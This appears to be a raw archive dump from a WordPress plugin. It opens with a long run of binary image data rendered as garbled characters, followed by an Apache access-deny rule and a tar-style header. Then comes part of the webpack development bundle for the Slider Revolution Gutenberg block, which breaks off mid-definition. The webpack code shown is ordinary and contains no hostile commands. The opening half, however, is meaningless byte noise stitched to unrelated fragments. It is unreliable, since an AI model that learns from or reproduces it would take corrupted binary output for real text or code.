@%h%]{et,"ѥy"SV\uvIsy#o65ܓ$7eWMӥ@x(Ш-2o3Ydcq&)qeN$euwu5YUBx9lVrJ$E1iZBb CYgiZ=+c. s# &z; ]cncYZe n ??1۞#TS{ZWC8FgSBF>&Y0A乏yϥ41ٔ=i&n3\OSt>m2?"HLb/&گnvk 4. b=&rMYÂPx+b0h_7QxDbDش n #LBD*3TXk!r6Y⌽>~x6cD "2#4D~&ORS,CnO-Tb$̦x6f N4 :PMXz|nbD' Izy5| LNnD@ Fib0fpeB)nF JH<͙i5@e7[VmQr%5ҖN(J 2L ͩNw<+ r2zSgTeўSL8`hb>/ՖlfAۈ6fiO*&J@ +y@<~x;NǟvK1:X ,Z( Zu3SURŬA#4E9 D2xE l(۲!:Kha@:  pV5e4YYACz<V³ܠ?wK63?s{ ~2M+\Ϥ(R ȣ+W]hK::jۈlLBҖ2Jl_yo~#pӢ1uaҝCfouI[i80KY ڸHM2AKb9 L<G҄THn7g)PY^ܞ/x!nubuxqJ5{& 75Oh lj@^9Y\{uj_۳& ѶDe;JZ(?zBzݔ*MD9uS[`| (.gb\=-3cRv6i+r-Cgiv7Dg~S1E{3WD0" l?e2zx'ݧI'M5_5z\~ ,"~2IFXM(6Eo/`ZVhOW{MwSYEz#AtChAu\NhE[%|+k-1AE|BIn3EiwmG;A%nl[AF4WuwR(l@N]4Ȁ7#SS4W)d(H31\6v>f^M~bj1 v63J^h3]+2k(az]{]csfVXGzA~GX5Ob* 26@nt;6E(qHWe/CFM:4jXIhY03K0l3D>NHLd&2ch)'(\-en.x[:W ㋜`AvdM<ǐ>|tٍGcn𥑾Cp~mS։|S|?()F4W9є^Mx&Gv\"јi&tӛ,eFa((5[xfŅE\6z8@g5ĩ!~n9kשyr5rp[Z U0`9)yE/x}` yٚj&\g'?8 j }@Тwh+ʢJ{øq-=9B }P39zJz(tXhpIg[NX^jqqV#1:fe:& '_CJ2vwfj@~BO  j_z8b1?yfpZ5it$Cmi Sǃ]y wzk衹yJ7n zJzK a*uZs|:֫}r>CqZ\gТD ʩӊ`g %. zw21KLZ(Y%RqqජCzVڪ pqJ kvz0qp(p˪ kCz0떤 ,nA7 SJy`Ɂ>ƯXyڲsk:yK& +f*' ]'Kzڲ!Y_ >;prku{YD ڧ8as ~Ŭz\۰Cjv-Jzz౭ +a+(;-kazhLJzVwUqKFZB3ۂfx@[;Lڠʁ۲KKk[KD*$!z(ڻwV:ZijZ+ z P'g׫˼뼓K+j *Wj n+G\˷fBA [b˵'# ͻn|[࿛[:+ # lzj-. +ߴmЭ|<>=20K,pϏィ$~TYkɖlݣ^.Lfh]`@\x΋KX{KKB }}{RM>前] ˱xn<^۸* }{~V4ܸ چLck qVEHK^Ɏrh͸]^~z.KyzDб^T>Y@\Zg.jknL sۡY6lb|"୚|Zf7=Fp>㪬#,A vy͎ -d` N}po7߿ɫͻН߽_n.N/k^IG$Jqn~ k~ +akoH*G觡vz𷻧zjv%y` olO˧zoo*gX牞: : ~>HB_}uJgRuϘ Y V˥{:*'DPQ?%3ӹsmŔGvQr]u!}y '} q LfGqL,bD%1eΤYM7(P၅% %&ANXDX jVbZd hۜql [3鍩߱omKXᵇ]Nx\ȑmEqee3A'^<--y pZf5laرWɹu _wkSn0 "n̻nsv79w,} 飯y{ O^տ8N>l>ڳOVrC_?.{ٳCjť|S0,&eX꟮l¿apz)6AqfYpG6 Lx')`4[L@ũ~C`:m&UouKd1* scEě$Z0:)ad7#.u}Sibi[ML|f+XO&nl@RA d N.Za0 LH\Jtlr:Ȩp |i%:qKL+0Vj҇+)m&4 6c c-k>%e$ĩnHaNt֑F3\''H!T!T NL)mҺ 7)ܰuB|2!!zKd)INRQfds5 LQ+γ$PI'LqrϦt_DL?^@G!X09گv#+=Rz“s"*q~&B+0c: 5qçSijZmD=*UaW(V2xD 2 ~lV3'LXrT_JX0Ғr g7պ1iSWILe*dJPVtjk\ոsfLW(%74m=EZ˭=jVj&(-)>wEf-Ӕ6moe:רA5nHFצUpo|lm+JSҤ19/ aVX#ݞMmBIJULP^u1n>SCiԱ\`W!U)7.;!8F+q+!;3U}L,ي}zNS.DJ;홠'.oëe4* G]_}! ߭Eij<ځg6ZTP_84a1X4y1T09S 4Wڨ)LC;"1XAk Z*שcԴM | .:## 3" 4ƭiCجm[v`k>$SGQ긻T/=MW+Vm}>MKk5(s$vW:81ޚ֯yM0_ֶnQn[L@cl@ɠ|@U?'rH>wKɓ-G-#Px#ISڤT&t&ܾ$c!QR&%|†|ӝ* ,@ t@$(\ -!2 Cɓ#((ccA@$X z4L@87|D!|/@>\AA|>OT@MH@ )H8dS.9^<VlEChi[D%\4PBhtC9#AFGIZdp\,A;@n<$~@yT@G$}ǜAGh dIDATx[ pekzd&I‘J V9Re-uU@-], obXu]tEB! LI„ILOO~3t+$f}_~,?de_,! Q dF49Ţ{G":Ap!$lPc"R C9Dܞܛ5+>+sFbt5[:b HO$PzU@hBKh/m:HMM\,#YNQV*,"E$/GW=:c|LCOpl;dXUbhjB6HIDnؤhj8\$Ĉ7[ F 䅡Ѷg|OX]$c=ӽO\I8 M|kˍC 1rǥ "ϋQ>I(4^|e G-61;T/* "ׯhc(p\e'|%'iwh ۆ|w=8dI!a TIjVѩc#V;yhh (As;M* ˚gBS4>6HCN",5n*">ϰTh8,Wj, ţȼZE'tX d$GIH)0288RL 'W|ܨi }uj Pm;Yh1\քJFxp0ic.( b+I-]$AĜ*z34擁!o3b75H 8Z ABvrTG lּ;40l5@ sK-g揷{~6)ql-̺b:(䷔gd(Yl˨Vkxd'jfHS_V 狭E].@)BC<#!αœo},,2LRfg^]h<=r _܄@V]C/KJQ?h$l#mR7O=I5M'o_4ȕTYEJ456.&Tsfk?T^B"Al B&E2"1B vR+tU`pҪRu&+mSBI).n )AOH!U^mS,]:maPDnɐH"9wVT:nP@g6kCєQ}ȗk*Z A4@B[쬳Da˨6mE(C'JrKuҖ@+^ s|SdmFO/x, pԶ %~kI3 3Bhf5m%Hu@0$?L&J{SDٛ2*@ UPlFB`4ʛFC$ p~BXr;9e~*z z`UMt24.U\CmS%cj!Yl%)_~*Ԁ -^]P* JOzes'8x&e *]/{`Ζ+U-[;UA:ot^/aDg->=k/kU7q然7_P!$ X=*ԘsXWr RL7E,H$X-W#f@xdd Lf-`wl(.[Κh/$\<4b#7n by|v-< &]w^KjH0r׫ Order allow,deny Deny from all admin/includes/shortcode_generator/gutenberg/dist/blocks.build.js000060400000206475151724235750021365 0ustar00/******/ (function(modules) { // webpackBootstrap /******/ // The module cache /******/ var installedModules = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ /******/ // Check if module is in cache /******/ if(installedModules[moduleId]) { /******/ return installedModules[moduleId].exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = installedModules[moduleId] = { /******/ i: moduleId, /******/ l: false, /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__); /******/ /******/ // Flag the module as loaded /******/ module.l = true; /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /******/ /******/ // expose the modules object (__webpack_modules__) /******/ __webpack_require__.m = modules; /******/ /******/ // expose the module cache /******/ __webpack_require__.c = installedModules; /******/ /******/ // define getter function for harmony exports /******/ __webpack_require__.d = function(exports, name, getter) { /******/ if(!__webpack_require__.o(exports, name)) { /******/ Object.defineProperty(exports, name, { /******/ configurable: false, /******/ enumerable: true, /******/ get: getter /******/ }); /******/ } /******/ }; /******/ /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = function(module) { /******/ var getter = module && module.__esModule ? /******/ function getDefault() { return module['default']; } : /******/ function getModuleExports() { return module; }; /******/ __webpack_require__.d(getter, 'a', getter); /******/ return getter; /******/ }; /******/ /******/ // Object.prototype.hasOwnProperty.call /******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); }; /******/ /******/ // __webpack_public_path__ /******/ __webpack_require__.p = ""; /******/ /******/ // Load entry module and return exports /******/ return __webpack_require__(__webpack_require__.s = 0); /******/ }) /************************************************************************/ /******/ ([ /* 0 */ /*!***********************!*\ !*** ./src/blocks.js ***! \***********************/ /*! no exports provided */ /*! all exports used */ /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; eval("Object.defineProperty(__webpack_exports__, \"__esModule\", { value: true });\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__revslider__ = __webpack_require__(/*! ./revslider */ 1);\n/**\n * Gutenberg Blocks\n *\n * All blocks related JavaScript files should be imported here.\n * You can create a new block folder in this dir and include code\n * for that block here as well.\n *\n * All blocks should be included here since this is the file that\n * Webpack is compiling as the input file.\n */\n\n//# sourceURL=[module]\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiMC5qcyIsInNvdXJjZXMiOlsid2VicGFjazovLy8uL3NyYy9ibG9ja3MuanM/N2I1YiJdLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEd1dGVuYmVyZyBCbG9ja3NcbiAqXG4gKiBBbGwgYmxvY2tzIHJlbGF0ZWQgSmF2YVNjcmlwdCBmaWxlcyBzaG91bGQgYmUgaW1wb3J0ZWQgaGVyZS5cbiAqIFlvdSBjYW4gY3JlYXRlIGEgbmV3IGJsb2NrIGZvbGRlciBpbiB0aGlzIGRpciBhbmQgaW5jbHVkZSBjb2RlXG4gKiBmb3IgdGhhdCBibG9jayBoZXJlIGFzIHdlbGwuXG4gKlxuICogQWxsIGJsb2NrcyBzaG91bGQgYmUgaW5jbHVkZWQgaGVyZSBzaW5jZSB0aGlzIGlzIHRoZSBmaWxlIHRoYXRcbiAqIFdlYnBhY2sgaXMgY29tcGlsaW5nIGFzIHRoZSBpbnB1dCBmaWxlLlxuICovXG5cbmltcG9ydCAnLi9yZXZzbGlkZXInO1xuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vc3JjL2Jsb2Nrcy5qc1xuLy8gbW9kdWxlIGlkID0gMFxuLy8gbW9kdWxlIGNodW5rcyA9IDAiXSwibWFwcGluZ3MiOiJBQUFBO0FBQUE7QUFBQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBOyIsInNvdXJjZVJvb3QiOiIifQ==\n//# sourceURL=webpack-internal:///0\n"); /***/ }), /* 1 */ /*!********************************!*\ !*** ./src/revslider/index.js ***! \********************************/ /*! exports provided: default */ /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; eval("/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__style_scss__ = __webpack_require__(/*! ./style.scss */ 2);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__style_scss___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0__style_scss__);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__editor_scss__ = __webpack_require__(/*! ./editor.scss */ 3);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__editor_scss___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1__editor_scss__);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__deprecated__ = __webpack_require__(/*! ./deprecated */ 4);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__revslider__ = __webpack_require__(/*! ./revslider */ 5);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__wordpress_components__ = __webpack_require__(/*! @wordpress/components */ 7);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__wordpress_components___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_4__wordpress_components__);\n/**\n * Block dependencies\n */\n\n\n\n/**\n * Internal block libraries\n */\nvar __ = wp.i18n.__;\nvar registerBlockType = wp.blocks.registerBlockType;\n\nif (typeof wp.blockEditor !== 'undefined') var _wp$blockEditor = wp.blockEditor,\n InspectorControls = _wp$blockEditor.InspectorControls,\n InspectorAdvancedControls = _wp$blockEditor.InspectorAdvancedControls;else var _wp$editor = wp.editor,\n InspectorControls = _wp$editor.InspectorControls,\n InspectorAdvancedControls = _wp$editor.InspectorAdvancedControls;\nvar Component = wp.element.Component;\n\n\n\n\n\nvar withState = wp.compose.withState;\n\n/**\n * Register block\n */\n\n/* unused harmony default export */ var _unused_webpack_default_export = (registerBlockType('themepunch/revslider', {\n title: __('Slider Revolution', 'revslider'),\n description: __('Add your Slider Revolution Module!', 'revslider'),\n category: 'common',\n icon: {\n src: 'update',\n background: 'rgb(94, 53, 177)',\n color: 'white',\n viewbox: \"0 0 28 28\"\n },\n example: {\n attributes: {\n cover: true\n }\n },\n keywords: [__('Banner', 'revslider'), __('CTA', 'revslider'), __('Slider', 'revslider')],\n attributes: {\n checked: {\n type: 'boolean',\n default: false\n },\n modal: {\n type: 'boolean',\n default: false\n },\n content: {\n selector: '.revslider',\n type: 'string',\n source: 'text'\n },\n text: {\n selector: '.revslider',\n type: 'string',\n source: 'text'\n },\n slidertitle: {\n selector: '.revslider',\n type: 'string',\n source: 'attribute',\n attribute: 'data-slidertitle'\n },\n sliderImage: {\n type: 'string'\n },\n hideSliderImage: {\n boolean: false\n },\n alias: {\n type: 'string'\n },\n zindex: {\n type: 'string'\n },\n wrapperid: {\n type: 'string'\n },\n cover: {\n default: false\n }\n },\n edit: function edit(props) {\n var setAttributes = props.setAttributes,\n _props$attributes = props.attributes,\n wrapperid = _props$attributes.wrapperid,\n cover = _props$attributes.cover;\n\n\n return [!cover && wp.element.createElement(\n 'div',\n null,\n wp.element.createElement(__WEBPACK_IMPORTED_MODULE_3__revslider__[\"a\" /* RevSlider */], Object.assign({ setAttributes: setAttributes }, props))\n ), cover && wp.element.createElement(\n 'center',\n null,\n wp.element.createElement('img', { src: revslider_gutenberg.pluginurl + \"/admin/includes/shortcode_generator/gutenberg/dist/images/sr-minigif.gif\", width: 320, height: 180 })\n )];\n },\n deprecated: __WEBPACK_IMPORTED_MODULE_2__deprecated__[\"a\" /* deprecated */],\n save: function save(props) {\n var _props$attributes2 = props.attributes,\n text = _props$attributes2.text,\n content = _props$attributes2.content,\n slidertitle = _props$attributes2.slidertitle,\n modal = _props$attributes2.modal,\n zindex = _props$attributes2.zindex,\n wrapperid = _props$attributes2.wrapperid;\n\n var style = void 0;\n style = zindex ? \"z-index:\" + zindex + \";\" : \"\";\n var shortcode = !content && text ? text : content;\n return wp.element.createElement(\n 'div',\n { className: 'revslider', id: wrapperid, 'data-modal': modal, 'data-slidertitle': slidertitle, style: style },\n shortcode\n );\n }\n}));//# sourceURL=[module]\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiMS5qcyIsInNvdXJjZXMiOlsid2VicGFjazovLy8uL3NyYy9yZXZzbGlkZXIvaW5kZXguanM/MDdkMSJdLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEJsb2NrIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgJy4vc3R5bGUuc2Nzcyc7XG5pbXBvcnQgJy4vZWRpdG9yLnNjc3MnO1xuXG4vKipcbiAqIEludGVybmFsIGJsb2NrIGxpYnJhcmllc1xuICovXG52YXIgX18gPSB3cC5pMThuLl9fO1xudmFyIHJlZ2lzdGVyQmxvY2tUeXBlID0gd3AuYmxvY2tzLnJlZ2lzdGVyQmxvY2tUeXBlO1xuXG5pZiAodHlwZW9mIHdwLmJsb2NrRWRpdG9yICE9PSAndW5kZWZpbmVkJykgdmFyIF93cCRibG9ja0VkaXRvciA9IHdwLmJsb2NrRWRpdG9yLFxuICAgICAgSW5zcGVjdG9yQ29udHJvbHMgPSBfd3AkYmxvY2tFZGl0b3IuSW5zcGVjdG9yQ29udHJvbHMsXG4gICAgICBJbnNwZWN0b3JBZHZhbmNlZENvbnRyb2xzID0gX3dwJGJsb2NrRWRpdG9yLkluc3BlY3RvckFkdmFuY2VkQ29udHJvbHM7ZWxzZSB2YXIgX3dwJGVkaXRvciA9IHdwLmVkaXRvcixcbiAgICAgIEluc3BlY3RvckNvbnRyb2xzID0gX3dwJGVkaXRvci5JbnNwZWN0b3JDb250cm9scyxcbiAgICAgIEluc3BlY3RvckFkdmFuY2VkQ29udHJvbHMgPSBfd3AkZWRpdG9yLkluc3BlY3RvckFkdmFuY2VkQ29udHJvbHM7XG52YXIgQ29tcG9uZW50ID0gd3AuZWxlbWVudC5Db21wb25lbnQ7XG5cbmltcG9ydCB7IGRlcHJlY2F0ZWQgfSBmcm9tICcuL2RlcHJlY2F0ZWQnO1xuaW1wb3J0IHsgUmV2U2xpZGVyIH0gZnJvbSAnLi9yZXZzbGlkZXInO1xuXG5pbXBvcnQgeyBUZXh0Q29udHJvbCB9IGZyb20gJ0B3b3JkcHJlc3MvY29tcG9uZW50cyc7XG52YXIgd2l0aFN0YXRlID0gd3AuY29tcG9zZS53aXRoU3RhdGU7XG5cbi8qKlxuICogUmVnaXN0ZXIgYmxvY2tcbiAqL1xuXG5leHBvcnQgZGVmYXVsdCByZWdpc3RlckJsb2NrVHlwZSgndGhlbWVwdW5jaC9yZXZzbGlkZXInLCB7XG4gIHRpdGxlOiBfXygnU2xpZGVyIFJldm9sdXRpb24nLCAncmV2c2xpZGVyJyksXG4gIGRlc2NyaXB0aW9uOiBfXygnQWRkIHlvdXIgU2xpZGVyIFJldm9sdXRpb24gTW9kdWxlIScsICdyZXZzbGlkZXInKSxcbiAgY2F0ZWdvcnk6ICdjb21tb24nLFxuICBpY29uOiB7XG4gICAgc3JjOiAndXBkYXRlJyxcbiAgICBiYWNrZ3JvdW5kOiAncmdiKDk0LCA1MywgMTc3KScsXG4gICAgY29sb3I6ICd3aGl0ZScsXG4gICAgdmlld2JveDogXCIwIDAgMjggMjhcIlxuICB9LFxuICBleGFtcGxlOiB7XG4gICAgYXR0cmlidXRlczoge1xuICAgICAgY292ZXI6IHRydWVcbiAgICB9XG4gIH0sXG4gIGtleXdvcmRzOiBbX18oJ0Jhbm5lcicsICdyZXZzbGlkZXInKSwgX18oJ0NUQScsICdyZXZzbGlkZXInKSwgX18oJ1NsaWRlcicsICdyZXZzbGlkZXInKV0sXG4gIGF0dHJpYnV0ZXM6IHtcbiAgICBjaGVja2VkOiB7XG4gICAgICB0eXBlOiAnYm9vbGVhbicsXG4gICAgICBkZWZhdWx0OiBmYWxzZVxuICAgIH0sXG4gICAgbW9kYWw6IHtcbiAgICAgIHR5cGU6ICdib29sZWFuJyxcbiAgICAgIGRlZmF1bHQ6IGZhbHNlXG4gICAgfSxcbiAgICBjb250ZW50OiB7XG4gICAgICBzZWxlY3RvcjogJy5yZXZzbGlkZXInLFxuICAgICAgdHlwZTogJ3N0cmluZycsXG4gICAgICBzb3VyY2U6ICd0ZXh0J1xuICAgIH0sXG4gICAgdGV4dDoge1xuICAgICAgc2VsZWN0b3I6ICcucmV2c2xpZGVyJyxcbiAgICAgIHR5cGU6ICdzdHJpbmcnLFxuICAgICAgc291cmNlOiAndGV4dCdcbiAgICB9LFxuICAgIHNsaWRlcnRpdGxlOiB7XG4gICAgICBzZWxlY3RvcjogJy5yZXZzbGlkZXInLFxuICAgICAgdHlwZTogJ3N0cmluZycsXG4gICAgICBzb3VyY2U6ICdhdHRyaWJ1dGUnLFxuICAgICAgYXR0cmlidXRlOiAnZGF0YS1zbGlkZXJ0aXRsZSdcbiAgICB9LFxuICAgIHNsaWRlckltYWdlOiB7XG4gICAgICB0eXBlOiAnc3RyaW5nJ1xuICAgIH0sXG4gICAgaGlkZVNsaWRlckltYWdlOiB7XG4gICAgICBib29sZWFuOiBmYWxzZVxuICAgIH0sXG4gICAgYWxpYXM6IHtcbiAgICAgIHR5cGU6ICdzdHJpbmcnXG4gICAgfSxcbiAgICB6aW5kZXg6IHtcbiAgICAgIHR5cGU6ICdzdHJpbmcnXG4gICAgfSxcbiAgICB3cmFwcGVyaWQ6IHtcbiAgICAgIHR5cGU6ICdzdHJpbmcnXG4gICAgfSxcbiAgICBjb3Zlcjoge1xuICAgICAgZGVmYXVsdDogZmFsc2VcbiAgICB9XG4gIH0sXG4gIGVkaXQ6IGZ1bmN0aW9uIGVkaXQocHJvcHMpIHtcbiAgICB2YXIgc2V0QXR0cmlidXRlcyA9IHByb3BzLnNldEF0dHJpYnV0ZXMsXG4gICAgICAgIF9wcm9wcyRhdHRyaWJ1dGVzID0gcHJvcHMuYXR0cmlidXRlcyxcbiAgICAgICAgd3JhcHBlcmlkID0gX3Byb3BzJGF0dHJpYnV0ZXMud3JhcHBlcmlkLFxuICAgICAgICBjb3ZlciA9IF9wcm9wcyRhdHRyaWJ1dGVzLmNvdmVyO1xuXG5cbiAgICByZXR1cm4gWyFjb3ZlciAmJiB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG4gICAgICAnZGl2JyxcbiAgICAgIG51bGwsXG4gICAgICB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoUmV2U2xpZGVyLCBPYmplY3QuYXNzaWduKHsgc2V0QXR0cmlidXRlczogc2V0QXR0cmlidXRlcyB9LCBwcm9wcykpXG4gICAgKSwgY292ZXIgJiYgd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuICAgICAgJ2NlbnRlcicsXG4gICAgICBudWxsLFxuICAgICAgd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KCdpbWcnLCB7IHNyYzogcmV2c2xpZGVyX2d1dGVuYmVyZy5wbHVnaW51cmwgKyBcIi9hZG1pbi9pbmNsdWRlcy9zaG9ydGNvZGVfZ2VuZXJhdG9yL2d1dGVuYmVyZy9kaXN0L2ltYWdlcy9zci1taW5pZ2lmLmdpZlwiLCB3aWR0aDogMzIwLCBoZWlnaHQ6IDE4MCB9KVxuICAgICldO1xuICB9LFxuICBkZXByZWNhdGVkOiBkZXByZWNhdGVkLFxuICBzYXZlOiBmdW5jdGlvbiBzYXZlKHByb3BzKSB7XG4gICAgdmFyIF9wcm9wcyRhdHRyaWJ1dGVzMiA9IHByb3BzLmF0dHJpYnV0ZXMsXG4gICAgICAgIHRleHQgPSBfcHJvcHMkYXR0cmlidXRlczIudGV4dCxcbiAgICAgICAgY29udGVudCA9IF9wcm9wcyRhdHRyaWJ1dGVzMi5jb250ZW50LFxuICAgICAgICBzbGlkZXJ0aXRsZSA9IF9wcm9wcyRhdHRyaWJ1dGVzMi5zbGlkZXJ0aXRsZSxcbiAgICAgICAgbW9kYWwgPSBfcHJvcHMkYXR0cmlidXRlczIubW9kYWwsXG4gICAgICAgIHppbmRleCA9IF9wcm9wcyRhdHRyaWJ1dGVzMi56aW5kZXgsXG4gICAgICAgIHdyYXBwZXJpZCA9IF9wcm9wcyRhdHRyaWJ1dGVzMi53cmFwcGVyaWQ7XG5cbiAgICB2YXIgc3R5bGUgPSB2b2lkIDA7XG4gICAgc3R5bGUgPSB6aW5kZXggPyBcInotaW5kZXg6XCIgKyB6aW5kZXggKyBcIjtcIiA6IFwiXCI7XG4gICAgdmFyIHNob3J0Y29kZSA9ICFjb250ZW50ICYmIHRleHQgPyB0ZXh0IDogY29udGVudDtcbiAgICByZXR1cm4gd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuICAgICAgJ2RpdicsXG4gICAgICB7IGNsYXNzTmFtZTogJ3JldnNsaWRlcicsIGlkOiB3cmFwcGVyaWQsICdkYXRhLW1vZGFsJzogbW9kYWwsICdkYXRhLXNsaWRlcnRpdGxlJzogc2xpZGVydGl0bGUsIHN0eWxlOiBzdHlsZSB9LFxuICAgICAgc2hvcnRjb2RlXG4gICAgKTtcbiAgfVxufSk7XG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9zcmMvcmV2c2xpZGVyL2luZGV4LmpzXG4vLyBtb2R1bGUgaWQgPSAxXG4vLyBtb2R1bGUgY2h1bmtzID0gMCJdLCJtYXBwaW5ncyI6IkFBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQSIsInNvdXJjZVJvb3QiOiIifQ==\n//# sourceURL=webpack-internal:///1\n"); /***/ }), /* 2 */ /*!**********************************!*\ !*** ./src/revslider/style.scss ***! \**********************************/ /*! dynamic exports provided */ /***/ (function(module, exports) { eval("// removed by extract-text-webpack-plugin//# sourceURL=[module]\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiMi5qcyIsInNvdXJjZXMiOlsid2VicGFjazovLy8uL3NyYy9yZXZzbGlkZXIvc3R5bGUuc2Nzcz85MjcyIl0sInNvdXJjZXNDb250ZW50IjpbIi8vIHJlbW92ZWQgYnkgZXh0cmFjdC10ZXh0LXdlYnBhY2stcGx1Z2luXG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9zcmMvcmV2c2xpZGVyL3N0eWxlLnNjc3Ncbi8vIG1vZHVsZSBpZCA9IDJcbi8vIG1vZHVsZSBjaHVua3MgPSAwIl0sIm1hcHBpbmdzIjoiQUFBQSIsInNvdXJjZVJvb3QiOiIifQ==\n//# sourceURL=webpack-internal:///2\n"); /***/ }), /* 3 */ /*!***********************************!*\ !*** ./src/revslider/editor.scss ***! \***********************************/ /*! dynamic exports provided */ /***/ (function(module, exports) { eval("// removed by extract-text-webpack-plugin//# sourceURL=[module]\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiMy5qcyIsInNvdXJjZXMiOlsid2VicGFjazovLy8uL3NyYy9yZXZzbGlkZXIvZWRpdG9yLnNjc3M/ZDA3MCJdLCJzb3VyY2VzQ29udGVudCI6WyIvLyByZW1vdmVkIGJ5IGV4dHJhY3QtdGV4dC13ZWJwYWNrLXBsdWdpblxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vc3JjL3JldnNsaWRlci9lZGl0b3Iuc2Nzc1xuLy8gbW9kdWxlIGlkID0gM1xuLy8gbW9kdWxlIGNodW5rcyA9IDAiXSwibWFwcGluZ3MiOiJBQUFBIiwic291cmNlUm9vdCI6IiJ9\n//# sourceURL=webpack-internal:///3\n"); /***/ }), /* 4 */ /*!*************************************!*\ !*** ./src/revslider/deprecated.js ***! \*************************************/ /*! exports provided: deprecated */ /*! exports used: deprecated */ /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; eval("/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"a\", function() { return deprecated; });\nvar deprecated = [{\n attributes: {\n checked: {\n type: 'boolean',\n default: false\n },\n modal: {\n type: 'boolean',\n default: false\n },\n text: {\n selector: '.revslider',\n type: 'string',\n source: 'text'\n },\n sliderTitle: {\n selector: '.revslider',\n type: 'string',\n source: 'attribute',\n attribute: 'data-slidertitle'\n },\n sliderImage: {\n type: 'string'\n },\n hideSliderImage: {\n boolean: false\n }\n },\n save: function save(props) {\n var _props$attributes = props.attributes,\n text = _props$attributes.text,\n sliderTitle = _props$attributes.sliderTitle,\n modal = _props$attributes.modal;\n\n return wp.element.createElement(\n 'div',\n { className: 'revslider', 'data-modal': modal, 'data-slidertitle': sliderTitle },\n text\n );\n }\n}, {\n attributes: {\n checked: {\n type: 'boolean',\n default: false\n },\n text: {\n selector: '.revslider',\n type: 'string',\n source: 'text'\n },\n sliderTitle: {\n selector: '.revslider',\n type: 'string',\n source: 'attribute',\n attribute: 'data-slidertitle'\n }\n },\n save: function save(props) {\n return wp.element.createElement(\n 'div',\n { className: 'revslider', 'data-slidertitle': props.attributes.sliderTitle },\n props.attributes.text\n );\n }\n}, {\n attributes: {\n checked: {\n type: 'boolean',\n default: false\n },\n modal: {\n type: 'boolean',\n default: false\n },\n popup: {\n type: 'object'\n },\n 